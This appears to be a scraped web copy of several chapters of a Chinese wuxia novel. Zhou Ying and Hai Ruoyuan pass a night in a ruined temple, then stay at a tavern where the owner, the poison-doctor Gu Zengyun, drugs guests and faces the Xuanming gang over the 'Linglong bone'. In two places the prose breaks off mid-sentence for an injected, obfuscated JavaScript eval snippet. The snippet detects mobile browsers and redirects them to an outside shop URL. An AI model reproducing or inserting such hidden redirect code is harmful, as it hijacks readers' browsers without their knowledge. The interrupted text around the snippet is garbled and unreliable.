天色昏暗,秋风飒起,一般人住在这破庙里,说不准第二天就会痛风伤寒。这时候修行的好处就体现出来了。武侠小说里的江湖大侠风里来雨里去,刀子上摸爬滚打,被仇家一掌打死的遍地都是,但从来没听说过伤风感冒死掉的。 找到了今晚的落脚处,估摸着那懒货恢复好体力了,周盈又跑回去把它牵过来,与阿金一起拴在破庙外面。 然而,望着不足两尺的“床”,周盈犯了难。她指道墙边:“你睡这里。”又指了指靠门的位置,“我睡这里。” 一左一右,不过半臂宽。 海若渊疑惑地看了她一眼:这有什么分别? 周盈连忙解释道:“我怕马被人牵走,你看着我可不放心。” 海若渊古怪地看了她一眼,一声不吭躺下了。 周盈见他躺下,也赶紧睡下去。 一躺,只觉浑身不自在,身体板得僵直,半臂的距离一点儿不敢雷池。 不一会儿,听见背后的人翻了个身。 周盈不由自主挪出几寸。 又觉得有些刻意,只好开口道:“要找阎王刺,你究竟有什么线索没?” 背后的声音道:“我困了,现在不想说。” 从槎枒村到现在,先是围捕莱山罗罗,又是自己捣乱,再到后面玉京子夜袭公室,上千金刀卫惨死,他真的没好好休息过。 周盈干脆闭上嘴,只希望这一夜赶紧过去。 月光下移,外面的风声不知道什么时候停止,天地好似肃寂一片,只隐隐感受到同屋人很浅的气息,像抓不到的游丝缠在自己耳畔。 周盈睡意全无,一直侧着身,压得左臂有些酥麻。她调整姿势,轻轻侧过半身去。一翻,正对着一个奇大无比的人像。 是尊菩萨塑像。 这庙里不知供奉的是哪尊菩萨,香火最旺的也不知道是哪年哪月,但沦落到这破庙,连菩萨也灰扑扑的。那双原本重叠在一起的手断了一只,断臂落在莲花座上,,视线微微上移,菩萨脸上彩漆都脱落了,脱色的半张脸上漏出了木雕的底色。 色漆还没脱落的另一半菩萨尊面,却是眉目开阔,十分祥和。 周盈想起佛经上的一句话。 书上说,昔日菩萨以头目脑髓施予人,为求无上真正之道。 周盈暗道:“菩萨慈悲,愿以头目脑髓施予人。但若这样做的结果反而让自己沦落到面目全非的下场,祂还会有这副菩萨心肠吗?” 这样一想,再看到残损的塑像,周盈只觉得浑身不自在,好像好人不得好报似的。 庙里三寸见方的稻草铺子,她扭捏地又转过身,旁边的海若渊忽然说了一声:“睡不着吗?” 周盈以为他早已入睡,现在突然听他发问,正神游方外,还没回过神,只是没头没脑地说了一句:“我不习惯与人同寝。” 之前与十八学士也是各住一间屋子,现在和海若渊离得这么近,实在有些难受,折腾到现在都没睡着。 海若渊听到这句话,轻轻道:“十二指玉楼的小公子。” 周盈听出他的嘲讽,只道:“不是。” “不是什么?” 周盈道:“我才不是什么十二指玉楼的小公子。” 话一出口,才察觉到这样说容易让人误解,她忙道:“你们公室的才叫公子。” 一百一十九年前,十里槛除了金刀卫,掌权之人称公室,其余人称公子。比如朱明公室之前便为朱明公子。 不过,朱明二字不是名字,只是一个号。 公室之人没有属于自己的名字。 海若渊没有回话。 气氛有些尴尬。 周盈后悔嘴快。 她竟然忘了,公室的确已经没有公子了。恶鬼劫难,诸公子以身赴难,全部死在十里槛外面,可以说是客死他乡。而当时的朱明公子,现在的朱明公室,至今还是孤家寡人。 过了好一会儿,海若渊的声音又传过来:“一直看着菩萨,在想什么?” 周盈道:“我在想,要是恶鬼现在真的来了,菩萨会显灵吗?” 听她这样胡扯,海若渊似乎觉得这样的谈话过于无聊,并未接话。 又是半宿无声。 怕再吵醒海若渊,周盈轻轻地一点一点挪过去,等到感知不到身边人的气息,便确定他已经睡了过去。便缓缓起身,溜出了破庙。 一出来,周盈全身都自在了,凉风嗖嗖地拍在破庙墙沿,夜间露气重,空气也湿润,让人觉得凉爽。她轻轻抚摸着马儿,手才放到马背上,突然发现这只夯货正睁着眼睛看她呢。 周盈拍拍它,轻声道:“你也睡不着。” 万两没出声。 “你呀你,现在不休息,明天又撂挑子。” 周盈笑道:“看我回头不卖了你。” 听到这句话,一向痴痴傻傻的万两也似抗议一般晃动了一下身子,抖抖皮毛,似乎来了精神。 周盈连忙制止它:“嘘——” “别出声,你不睡,别人也要睡呢。” 周盈也来了精神,拿了马绳,轻轻牵着它走了。 这动 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见它着急忙慌的样子,周盈忍不住笑了笑,原本想找个耐劳的,没想到是个四处躲懒的。 周盈站在外面一阵张望。 远处天际线风云变色,不知道这场雨什么时候能停,本来稀微的睡意也在风声雨声中烟消云散。 破庙的海若渊只怕也睡不着了。 想到这里,周盈不自觉笑了。 下一秒,她就笑不出。 雨丝毫没有要停的样子,风一吹,雨水斜斜地刮进避雨的石洞,避免湿了鞋袜,周盈不得不又退后了几步。 因为这场雨,世界变得昏昏沉沉的。 须臾,在一阵雨声中,远远地看见一道身影极快地朝这里来了。 周盈揉揉眼睛,以为自己看错了,荒山野岭还下着大雨,谁会像她一样闲着无事溜达到这里。 再一看,来人分明是个姑娘。 她一身红衫全部湿透了,一到山洞就忙弯腰去拧湿掉的裙摆。大滴大滴的水痕从她面颊上滑下来,发丝贴着面庞,那是一张白得惊异的脸。周盈以为她受了冻,想用火给她烤干衣服。 十分豪气说道:“姑娘,脱下衣服我给你烤干。” 话一出口,那个姑娘终于抬头看了她一眼。 那是一双带着些许疑虑的眼睛,却没流露出一点害怕。 周盈说完才觉得这话听来怪怪的,为了缓解尴尬,又道:“姑娘,大晚上你来这荒郊野岭干什么?” 更怪了! 想要解释却越解释越让人误会,周盈正不知该说什么。谁知那姑娘细细柔柔地道:“我来找我的马。” 找马?大晚上来这荒山野岭的找马! 周盈不禁又看了她一眼,她的气息很轻,没有动过手,周盈一时无法判断她会不会武功。 偏偏这个时候,躲在山洞里的小瘟马好死不死的嚎了一声。 叫声回荡在崖壁上,参杂着雨声风声,绵长又刺耳。 这声猝不及防的马叫声,不光是找马的姑娘,连她也吃了一惊:这马是要把脏水往她身上泼啊! 周盈尴尬笑道:“在下的坐骑,姑娘可要看看?” “不不不,我这就把它牵出来。” 说罢,她就要去拽出这匹卖主的恶马。 石洞深处,夯货万两神气地抖落着身上的水珠,水珠溅到崖壁上,也溅了周盈一身。似乎知道周盈要拉它出去,又长鸣一声,就是不肯动。 “别嚎了,难听死了!” 周盈一面骂,一面把它拽出去,当初自己怎么就看走了眼! 但等到她牵马出去的时候,姑娘没了,雨也停了,只有地上的一滩水迹告诉周盈她不是做梦。 “好奇怪的姑娘。”周盈摇摇头,“走得真快。” 她拍拍自己的爱马,道:“休息够了,该走了。” 19. 玲珑骨(二) 第二日,周盈提起昨天晚上的事。海若渊笑她晚上撞鬼,是亏心事做多了。 周盈顾着和他说话,没注意看路,不知前面有个斜坡,险些撞了上去。幸好万两还算有眼色,及时悬崖勒马,才不至于连人带马摔飞。 周盈稳住身子,翻身下马,看着眼前挡路的高坡,抱怨道:“看来得绕路了。” 海若渊坐在马上,眺望远处,远处依旧是大片山林。 周盈刚想说什么,忽然一阵骚动自不远处的林子里传来,像急落的鼓点,偏僻的荒地瞬间炸响。 这种震动,周盈一惊,是脚步声! 两百米外,一支百人的队伍冲着他们急奔而来! 这荒山野岭,怎会有这么多人? 心里腾起一股怪异,周盈回身眺望,只见林子里枝条簌簌地晃动,狂风肆虐,草叶飞折。 周盈把右手盖上眉头,挡住离散的光线,想看清楚些。 海若渊手滑向刀柄,犹豫了两下,翻身下马,朝万两拍了两下,让它走避。见阿金也藏了起来,回身拉了周盈,轻身翻上了高坡。 周盈正打量着不远处的骚动,被他这猝不及防一带,简直是飞跌上去的。刚想出声表示抗议,就被一只大手盖着脑袋压了下去。海若渊趴在一旁,压低了声音,轻声道:“人来了,别出声。” 坡下,一行上百人踏着大步浩荡而来,来人皆着寻常布衣,身上带着刀剑棍棒之类的武器。没有旗号,一时看不出是什么来头。 高坡挡道,来人纷纷停步。 为首一人背了把长剑,长了张长脸,薄薄的两片嘴唇紧抿着,四处张望,打量着周围的地形。 周盈在坡上趴着,刚把海若渊的手拍开,正要抬头,见他视线就要移过来,立马又缩了回去。 那人看了一圈,没察觉到异常,就要下令转头,要绕开高坡。 好死不死,万两偏偏挑这个时候撞了上去。 这些人看见凭空出来一匹马,都各自讶异着,那剑客脸却变了色。 队伍中,一人轻轻抽出刀,朝着马走了两步,又犹豫地停下来。周盈见他将行未行,脚步轻浮,不知要做什么勾当。 那人道:“大哥,要杀吗?” 周盈一愣,杀?他们又没发现自己,难道是要杀马? 剑客没说话,那人拔出刀,冲万两走了过去。 周盈瞟了海若渊一眼,他正全心盯着那一百来人的队伍,似乎还在判断他们的来历。周盈收回心思,寻思着要以怎样的方式出手,是要拍下巴掌一秒震慑,冲他说离我的马远点?还是敌不动我不动,躲着装神弄鬼? 那人举起刀,对着马头,微微晃了两下。 然而,万两一点不带怕的,抬了抬蹄子,在地上刨了两下,鼻孔里发出哼哧哼哧的声音,气定神闲地走了过去。 那人原先忌惮有主人在暗处,犹豫着不敢下手,现在反被这马的行为挑衅到,咬着牙,豁起刀冲了出去。 周盈没想到他突然下狠手,现在冲下去只怕来不及阻止,只好急急聚起掌力,瞄准了钢刀,要把刀一掌拍落。 没想到那剑客临到关头却阻止了他:“这只是普通货马,或许是走失,如果贸然杀马,只怕会引起注意。” 那人似有不服,拿刀一指:“要是真有人呢!” 那领头剑客猛地抬起头,冲坡上望了一眼,嘴里蹦出几个字:“早晚死路一条。” 说罢,也不管那马,带着手下绕过高坡,迅速离去。 确定人不会回来,周盈起身跳了下来,抚着马背,道:“真是莫名其妙,这些人也太横了,想必也不是去干什么大好事。” 见海若渊阴着一张脸,奇道:“你认得他们?” 海若渊道:“玄冥帮一贯的作风。” 玄冥帮,罗刹海手底下的帮派。 周盈记得,帮主好像叫盗指玄冥,一百多年前随着罗刹海三煞一起销声匿迹,因为干过屠城的畜生事儿,臭名昭著。 想了想,道:“要不,跟上去看看?” 海若渊道:“带着马太张扬,走不出几步就会被发现。”说完,只见高坡另一侧,阿金悄无声地走了回来。刚刚它一直躲着,等人全部走了才出来。 海若渊翻身上马:“不急,先寻地方喝口茶。” 又走了小半个时辰,才终于看到间客店。 店前长条的布招子上写了三个字———鉴湖酒。 又是一家酒馆。 一见到二人,店里伙计敏捷地绕过一众酒客,殷勤地招待道:“二位用些什么?” 除去刚来的二人,此时店中在座一共八人。 带刀四人,背剑三人,剩下一人是个酒鬼,把头一扬,正咕咚咚朝喉咙灌酒。 周盈不免多看了几眼,那人似乎感受到她的眼神,回头瞪了她一眼。 海若渊对那伙计道:“拿壶酒。” 店伙计伶俐道:“可还要其他的?” 周盈想起三摩地尴尬事儿,只道:“再拿壶茶。” “好嘞,一壶酒,一壶茶。” “二位客官,这边上坐。” 万两焉了吧唧的,秋天百草枯萎,自买下它,还没正经喂过一顿粮。周盈自小并不过分在意吃食,这时才想起它不是铁打的,叫住那伙计:“你们这可有喂马粮草?” 那伙计早盯住海若渊的大黑马挪不开眼,道:“有,这就牵去。” 说罢,就要伸手去拉那缰绳,谁知手还没触到马绳,就听一声长嘶,黑马健壮的双腿已冲他胸膛凌厉蹬出。 旁边喝酒的,吃菜的,听到这声马吼,纷纷回过头看。 只见店小二连连后退,却避之不及,黑马一脚下来就要踢得他半身不遂。众人暗自为他捏了一把汗。 然而,阿金似乎只是故意吓他,马蹄一蹬,咚地一声,却踏在地上。 海若渊道:“这马性子倔了些。” 店小二听他这样一说,不敢去拉黑马,只牵着万两往屋后走去。 “兄弟,这马不赖嘛。” 背剑一人搭讪道,一双浑浊的眼睛盯着阿金滴溜地转。 海若渊一拱手:“过奖。” 说罢,面对着客店正门坐下。 周盈在他对面坐下,瞅他一脸沉默,心道:“海若渊不说话还好,一开口贯爱阴阳怪气,马效其主,也不好相处。别说是店小二,几日走下来,对自己也是爱答不理的,旁人要想碰,只怕被踢得半身不遂。” 冲海若渊点点头,道:“人可以辟谷,马也能这样吗?” 海若渊道:“它要是饿了自会跟着去。” 二人正说着话,那店小二已提着一壶酒,一壶茶走上来。 海若渊倒了碗酒,却没喝,只道:“鉴湖的酒,不喝可惜了。” 周盈茶已下肚:“喝酒误事。” 海若渊听罢,竟缓缓放下拿酒碗的手,道:“你倒真的喝得下去。” 周盈道:“一杯茶而已。” 周盈喝着店中清茶,听店中客道:“酒是你老命,还喝还喝,你婆娘来抓你了!” 说话的是一个背剑的武者,他对面的人长着张四方的脸盘,一张黑脸已经被酒气逼得通红。但他却不肯放下酒壶,不断往自己喉咙灌酒,正是方才那酒鬼。此时他醉醺醺地道:“怕什么,这酒……好东西。” “喝……嗝……” 说罢,一碗酒又咕咕灌下。 周盈自顾自饮着茶。 那人醉得昏天黑地,他的同伴却无动于衷,似是习以为常。 海若渊背对那两人而坐,周盈却看得清清楚楚,那背剑的剑客趁那酒鬼醉倒,手已经探向他腰间。 那挂在腰间的……周盈瞳孔猛缩,阎王刺! 阎王刺居然会出现在这偏僻酒馆。 周盈冲海若渊使了个眼色,出口道:“不问自取,是为偷。”声音不大不小,刚好传到那剑者耳中。 他慌忙缩回手。 寻声而去,见一个脸嫩的小子正瞧着自己,怒道:“臭小子,多管闲事。” 说罢,恼羞成怒,一剑刺了过来。 剑还没刺到周盈面前,就被一只手横空劫住。 只见海若渊缓缓转过身,剑尖被他捏着,任剑者如何使劲都纹丝未动。 “你……你要做什么?”剑者惊惧不已。 “还你的剑。” 话一毕,海若渊一松手,那剑者坐不住,险些摔出座。 正不知怎样收场时,忽然又听一声怒骂:“人,人呢,都死哪儿了!” 小伙计慌里慌张跑出来:“客官,有什么吩咐。” “呸,这酒掺了水,你也拿来糊弄大爷!” “小店做的是良心买卖,客官可不能乱说。” 那人把腰间长刀一拍:“怎的?赖你不成!” “不是掺水,酒味怎这么淡!” 那店伙计支支吾吾半晌说不出话。 “兄台,恕我直言,这鉴湖酒喝的本就是一个温和淡雅。” 开口的是一个书生样的男子,冠帽,长衫,长张含笑的脸。 那人一听更怒:“放你娘的屁,你说的是酒还是茶!” 周盈悄悄问海若渊:“他说的不错吗?” 海若渊点点头。 鉴湖酒,以鉴湖的水酿造而成。鉴湖处在终年积雪的云顶峰上,酿酒的水则必须取子月的湖水,历时八年方成一坛酒。因湖水皆是冰雪所化,最是纯净,酿出的酒也最是温和回甘。没想到这偏僻小店里会有如此稀罕物。 那这人就是存心找茬了。 周盈心道,端看这店小二怎样分辨。 正想着,从店中走出个女子,简简单单的衣衫,穿在她身上只有风姿绰约四字。一开口,又寒气逼人:“客官既嫌酒味淡,何必来喝这鉴湖酒?” 语气不疾不徐,反让人不知如何接话。 小二一见来人,退到一边,恭恭敬敬叫了声:“掌柜。” 来人正是店中掌柜顾曾云。 那人闻声,抬了抬眼皮:“你是掌柜?” “你这酒掺了水,喝不得。” 顾曾云一听,不气也不急,更不分辩一声,她回头对店小二道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796352|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这位客官都醉倒了,你没看见吗,还不把人扶进去。” 小二连忙应声。 那坐在边上的剑者被海若渊一档,心惊未定,哪里顾得上拦人,眼睁睁看着店小二把人扶了进去。 这时,顾曾云才缓缓道:“你是说这酒喝不得?” 那人显然没料到这样的回答,愣了一下:“是。” 顾曾云听罢,竟端起桌上的酒碗,一碗一碗地泼到地上:“那不喝就是。” 最后,她又要抬手要倒壶中酒,那大汉豁地起身,挡在她的面前:“你这是做甚!” “哼!” 她提起那壶酒,冷笑道:“既然不喝,倒掉又何妨?” 说罢,将那壶中酒尽数倾在地上。 “你!” 她道:“一共三两二。” “这酒我可没喝。” 顾曾云一声轻呵:“没喝?看来你是存心找茬!” “是又怎样?”那汉子把刀按在桌上,盯着她一双冷眼,有恃无恐。 话音一落,顾曾云一巴掌呼在他脸上,人顿时摔出三丈远,摔得他眼冒金星,疼得打滚。 周盈在一旁看得仔细,那女子下手丝毫不留情,看似普通一掌,受掌那人脸上已经肿起红紫一大块,只见他颤颤巍巍挣扎着起身,竟吐出一口闷血。 刚刚与他辩护的书生连忙上前道:“和气生财,这钱我替他付,二位莫动肝火。” 那人被一掌打得昏天黑地,找不着南北,哪里说得出话。顾曾云讽刺道:“你倒是会做人情!” 书生笑道:“鉴湖酒在市坊难觅,不识数的误会了也是有的,掌柜何必与他一般见识。” 顾曾云还未开口,一旁酒客倒被他这话触了好奇心,高声道:“鉴湖酒?听都没听过。喂,你要是知道,不如说出来,让我们也听个明白。” 书生拢了扇,欣然应道:“鉴湖酒,需取子月的湖水在暗房里静置八年,整整九十六个月,期间不能见光,一漏光,酒也就毁了。” 那人道:“这也没什么大不了,十几二十年的陈酒也不算稀奇。” 书生微微一笑,笑得十分得体:“兄台不知,鉴湖酒需取鉴湖水掺入。”他顿了一下,确定众人目光都在这里才继续道,“只是鉴湖生在云顶峰上,云顶峰终年飘雪,极难到达。若要取水酿酒,便是难上加难。” “云顶峰在南方,怎会有积雪。”一人刺声道,语气略带轻蔑。 一人接道:“听人说,莫约几十年前,云顶峰一夜风雪,冻死了不少畜生。不过两三年,连周边的人家都搬了个干净。” 一人惊道:“天现异象,恐有灾厄。” 书生道:“怪力乱神,真假遑论,但鉴湖酒也算绝迹了。” 众人听了,半信半疑,只是再没有人挑出来指摘酒是否良纯。 顾曾云面色不定,好像被这般说辞分了心,不再与闹事者计较。 “也罢,你们走了去。”说完,自回了店里。 经此一闹,那剑者哪里还敢声张,留了银两,慌不择路地跑了。 周盈道:“你不拦着他?” 海若渊道:“这人武功低微,就算夺剑也不过一时贪念,抓他何用?” “至于剑从何处来,倒不如寻那醉客一问。” 那小二才把那醉客扶到店中,见海若渊还没饮酒,道:“客官可是嫌酒不好?” “鉴湖的酒,的确难得。” 他端起那碗静置已久的鉴湖酒,似乎要看出什么来,阴阳怪气道:“只是人坏了,这酒喝不得了。” 店小二见他丢了酒碗,脸色微微一变,又马上笑脸相逢:“客官,这是何意?” 周盈心里一叹,鉴湖酒最是温和,又怎会醉人,那酒鬼分明是中了迷药。琢磨着,自己以后遇到酒肆还是绕道走,每回都没有好事。拿出银两,道:“烦你帮我把马牵来。” 小二支支吾吾道:“客官,那马……” “马怎样了?” 这时顾曾云婷婷走来,道:“客官的马坏了肚子,一时走不了了。” 果然,到马厩一看,不争气的万两像是吃坏了什么东西,止不住地窜稀,现场一片扑鼻恶臭。 周盈道:“得,干脆把你留在这儿算了。” 店小二连忙上前赔笑道:“公子,小店还有上好的雅间,二位可将就一晚。” 周盈看了看海若渊,见他没有反对的意思,便应允了。 小二连忙去准备房间,这时海若渊才出声道:“好管闲事更误事。” 周盈笑道:“大人啊大人,别说你看不出这掌柜的手段。” 当时茶一端上来周盈就嗅到里面的迷药,只是以她的修为,这种程度的迷药根本没有效果。 但是,刚刚饮下茶酒的一共八人,倒下的却只有一人,甚至连那看似弱不禁风的书生也全然没有反应。 是早有防备,还是深藏不露,这就不得而知了。 至于万两,足足吃下两斤巴豆。 阎王刺无故出现,对方又处心积虑想留人,何不看看他们要耍什么花招? 20. 玲珑骨(三) 酒肆一楼供吃喝,二楼才是专供人歇息的。后面陆陆续续又来了几个歇脚客,只留店小二忙前忙后地招待,那掌柜待在二楼再也没出来过。 二楼一共六间客房,两两相对的布局,周盈与海若渊各住一间。一间招待了醉客。如此就还剩三间。这三间,有一间从未打开过。 店小二才送走食客,将铺子打烊,上二楼时,正遇上周盈。 他道:“公子可还有什么吩咐?” 周盈道:“城中药铺几时开门?” 酒肆距最近的麦城还有数十里,来去倒也快,只是不知道几时开门。 周盈去马厩看过自己二十两的小货马,拉肚子已经拉得站都站不直了,瞧着可怜巴巴的,未免有些心疼,便想去买点药。 伙计道:“城中没有药铺,医馆倒是有一家,公子要去买药,得等巳时以后。” 周盈道:“怎开得这样晚?” 那店小二道:“公子不知,我们这三不管的地方,平日里就有流匪作祟。前些日子,公室边境平白无故被灭了四个村子,弄得人心惶惶,这年节谁敢大晚上出门乱逛?便是看病,也急不得。” 周盈听他这么一说,只好打消念头,指了指那间始终紧闭的房门,道:“这里面住的什么人,怎从来没见出来过。” 店小二刻意压低声音,悄悄道:“是我家小公子。” 原来是那掌柜的孩子。 那掌柜看着年轻,孩子却不知道有多大了。又想,看她身法,也是个修行之人。 周盈若有所思,神色微动,道:“阁下请问怎地称呼?” “小人赵瑾。” 赵瑾提醒道:“公子万不可接近那个房间。” “为何?” “这就是我们掌柜私事,小的不敢乱说。” 周盈盯着赵瑾看了半响,看他模样谦卑,看他为人拘谨,却句句话都意有所指。 赵瑾又道:“公子可还有其他吩咐?” “无事。” 等他要下楼去,周盈突然又问道:“你在这里干活儿,掌柜一个月开你多少?” 赵瑾笑道:“我不要一分钱。” 他道:“小的在酒肆已经打了五十多年的工。” 夜深,油灯也点过了大半,灯火忽忽闪闪,窗外的虫鸣震个不停,似乎知道中秋已过,自己蹦哒不了多久,越发叫得兴奋,要费尽最后一丝气力。 周盈见赵瑾讳莫如深的样子,不知里面有什么玄机,她半躺在床上,左右也睡不着,索性去看看自己的马儿。 马厩在一楼的背面,走到拐弯处,原本隐隐约约的臭味忽然扑面而来。 这家酒馆不大,连马厩都像是荒废了许多年的。 但是粮草却一应俱全,那赵瑾的手脚倒真是利索。 看着万两的可怜样,一旁的阿金似乎十分嫌弃,站得离它老远,也不去吃草料。 周盈心道:“你倒是聪明,知道这玩意儿吃不得。” 想了想,又道:“和你主人一样,不知道心里憋着什么坏水。” 最忌讳的就是在背后说人家坏话,周盈才冒出这个想法,就被人从后面捂住了嘴。 海若渊——— “你在这里干什么?”嘴巴被捂着,周盈只好用眼神询问他。 海若渊松开了手,却没有应答。 因为从拐角处传来说话声。 一人道:“你这又是何必?” 是顾曾云。 与她对话的正是赵瑾,哀求的语气道:“掌柜,这剑好不容易出现,以后真要,又去哪里寻?” 顾曾云没有说话。 他又道:“公子不是快好了,这剑他肯定用得上。” 周盈知道他口中的公子便是那掌柜的儿子,但是听赵瑾话中的意思,那孩子似乎生着病。 这话似乎正中顾曾云下怀,她道:“此事你别再插手,我自有分寸。” 赵瑾似乎还想说些什么,顾曾云却制止了他。 周盈心里一咯噔,莫不是发现了他俩躲在这里偷听。 紧接着,只听声音越来越小,来人似乎走远了。过了好一会儿,她才确定二人已经离开了。 马厩里面黑魆魆的,周盈转过头,对着那黑成一团的人形道:“大人怎么会在这里?” 海若渊道:“跟着那掌柜来的。” 周盈心道:“那掌柜似乎被什么东西困扰分神,居然没注意到他们。” 又问:“她也要拿阎王刺?” 海若渊道:“也许。” 顾曾云警觉性极强,海若渊也是刚刚才靠近她,听到的就是那么多。 海若渊道:“你知道她是谁吗?” 酒馆掌柜,修为也不低,故意在酒里下了迷药,大概不是什么善茬。但是周盈真不知道她是谁。思忖片刻,她迟疑道:“酿酒高手?” 海若渊含笑道:“你要这么说也不错。” “不过她最为人知的身份是边境毒医———顾曾云。” “毒医?” 毒之一字往往令人闻之色变,毒医可不是什么好名声。但是,既是毒医又拿那种迷药,未免献丑! 周盈心中奇怪。 海若渊道:“她称毒医,一身修为自然都是以毒为根底。” “不过,她真正闻名的却在一个医字。” “很久以前顾曾云游天下,非但没用手上的毒害过一个人,反而救人无数。因为自身修习毒术,一双济世妙手专治毒伤。” “来者不拒,从未失手。因为这个,顾曾云一度名扬四方。” 周盈奇道:“怎没听人提过?” 海若渊道:“她消失已经上百年了。” 一个消失上百年的人,又有几人记得?而且当年受过她恩惠的,除开修行之人,其余多是些普通人。这些人,寿命不过短短几十载,如今恐怕坟上草都窜得老高了。 因此,顾曾云的名号也渐渐淡出了人们视野。 当然,也有不少人以为她早已经死在恶鬼一劫。 理由众说纷纭,谁能想到她居然隐姓埋名,在这里默默经营着一家小酒馆。 那她为何又来夺阎王刺? 周盈心里更觉奇怪。 既来夺阎王刺,为何又偏偏留下海若渊? 莫非是她根本没认出海若渊? 海若渊是在无忌公室暴死后才渐渐崭露头角的,那时候顾曾云早已经失踪了,普天之大,认不得海若渊倒也说得过去。 想了想,周盈道:“你何时去取剑?” “今晚。” 只闻其声,不见其人,天早就黑透了。 周盈也想看看顾曾云葫芦里卖什么药,道:“我和你一起去。” 海若渊道:“店里一共就住三个外来客,一下子走了两个,你以为她看不出?” 阎王刺事关恶鬼,又在公室眼里底下被夺,还被拆成了好几块,这事要真传出去,只怕又是一阵动乱。 周盈知道公室不希望别人插手,而且在海若渊面前她还顶着十二指玉楼的名号,想了想,还是决定尽量少管闲事。 * 晚上,周盈一个人躺在床上数羊。 不知是什么时候,羊没数好,却像从大草原走进了花丛,一股清幽香气突然在房中弥漫开来。 是茉莉花香! 夏时早过,这花香来得诡异。 周盈原想去吹那油灯,却被这股花香勾了魂儿去,稍稍回神时只见一缕轻轻晃动的火光,从火光中走出一道婀娜的身影。 那人把油灯抬近些,照在周盈俊俏的脸上。 油灯的光顺着周盈的身子一直往后照,只见岁月轮青白的剑身。 顾曾云刚要伸手去拿,周盈却突然往前凑,紧紧抱住了她。 这股茉莉花香正是来自鉴湖中央的醉心茉莉,香气对人体没有伤害,却能使人沉入最深的梦境而不自知。 顾曾云被人拦腰紧紧抱住,先是一愣,继而冷笑:“好个鬼迷心窍的小子。” 周盈力气很大,搂得极紧,让她一时挣扎不开。 顾曾云只好放下手上油灯,着急去取她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796353|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后的日月轮。 她心中厌恶这人轻佻,正想掰开周盈紧扣的双手。 忽然,周盈喃喃说起梦话。 顾曾云动作的手突然停下,那人抱着自己,口中分明叫的是“娘”! 她以为自己听错了,想再贴近去听时,油灯里的燃油耗尽,只剩一片黑寂。 秋虫嗡嗡的鸣叫瞬间充斥了整个房间,越来越响亮,顾曾云却被刚才似真似幻的一声叫唤乱了方寸。 一颗心砰砰直跳,没了油灯加持,醉心茉莉的功效很快就会退去,她方寸已乱,只好慌忙离开了房间。 这时,客店外亮起炽热的火光,一小队,足足二十三人已经堵到了这家店前。 粗爆地把店门拍得震天响。 赵瑾方穿好衣衫,一开门,迎面就是窝心一脚。 他吃痛地“哎呦”一声,捂着心口看向来人。 “哼,怎么是你?”那人粗声粗气,“把掌柜叫来。” 来人正是白日闹事被顾曾云一巴掌打肿了脸的狗腿子,名唤费无极。 那一掌打得精彩,火光映在他的脸上,活像变脸的花绿的面具。 费无极一脸横肉,趾高气扬,显然已经忘了不久前落水狗似的模样。 顾曾云婀娜的的身影幽幽从二楼走下来,她轻飘飘绕过费无极,去扶被踹得站不直的赵瑾。 赵瑾一看到她,脸霎地变得通红,似愧似恼,结结巴巴道:“掌柜……” “你先上去。” “我不能留你一人在这儿。” 顾曾云道:“你还不放心我吗?”她轻轻拍了拍赵瑾的肩膀。 赵瑾知道自己在这里没什么用,只会妨碍她,只好道:“那你自己小心。” 费无极狗仗人势,巴掌拍得震天响,笑道:“好!好!好!不愧是顾掌柜。” “好胆识。” “但是你要如何躲得过玄冥帮众的追杀。” 顾曾云面色不变:“玄冥二字未免可笑,盗指玄冥不在,我只见到一群乌合之众。” 见她似乎要抬掌,费无极脸上一阵抽痛,不由得稍稍后退,狐假虎威道:“反正今晚你难逃一死。” 顾曾云不再与他废话,忽然一声冷笑,猛地甩了个巴掌。费无极低吼一声,壮硕的身躯轰地飞出,在空中划下道黑线。坠地瞬间,只闻一阵闷响,人是死是活已经没人知道了。 玄冥帮众见她出手狠辣,不由得倒吸一口冷气,一时间倒无人再敢当出头鸟。 人群中,紧接着走出一人,笑道:“顾掌柜,我们来此只为取物,只要把东西交给我们,再不来打扰。” 来人正是笑面书生,顾曾云只看了他一眼,冷冷道:“你有人情来讨?” 笑面书生天生一张笑脸,不笑时似笑非笑,笑时却瘆得慌,活脱脱一个假面狐狸。 “费无极烂命一条,可让掌柜消气了。” 顾曾云心中厌恶,冷冷道:“要什么,快说?” 笑面书生堆起笑,说出三个字:“玲珑骨。” 顾曾云面色一变,冷笑道:“你倒是敢说。”话音刚落,又是一掌。 笑面书生没料到她态度忽变,出手之快,招式之狠辣更是见所未见,一时闪躲不及,只得抓住身边人当替死鬼。 一声惨叫后,那人竟命丧当场,火光下一张不可置信的脸,眼睛瞪得巨大,不知是因为飞来横祸,还是因为同伴的背叛。 周盈在二楼目睹全程。 除了笑面书生,现场还有一张熟悉的面孔。长脸薄唇,嘴巴紧紧抿着,是白日在高坡前边见到的玄冥帮的领头剑者。他并未出手,只跟在旁边看着。 显然,那笑面书生才是此次行动的主角。 周盈道:“那人口中的玲珑骨是什么东西,为何顾曾云一听就痛下杀手?” 海若渊不知何时回来的,听她发问,低声道:“关乎亲子的死活,任谁也不会手软。” 闻言,周盈回头看了看那个始终紧闭的房间。赵瑾说过,那里面是掌柜的儿子,但是玲珑骨为何关乎他的生死? 21. 玲珑骨(四) 笑面书生眼睛一眯,射出两道危险的光:“看来你是敬酒不吃吃罚酒。” 顾曾云沉声道:“说,是谁叫你们来取玲珑骨?” 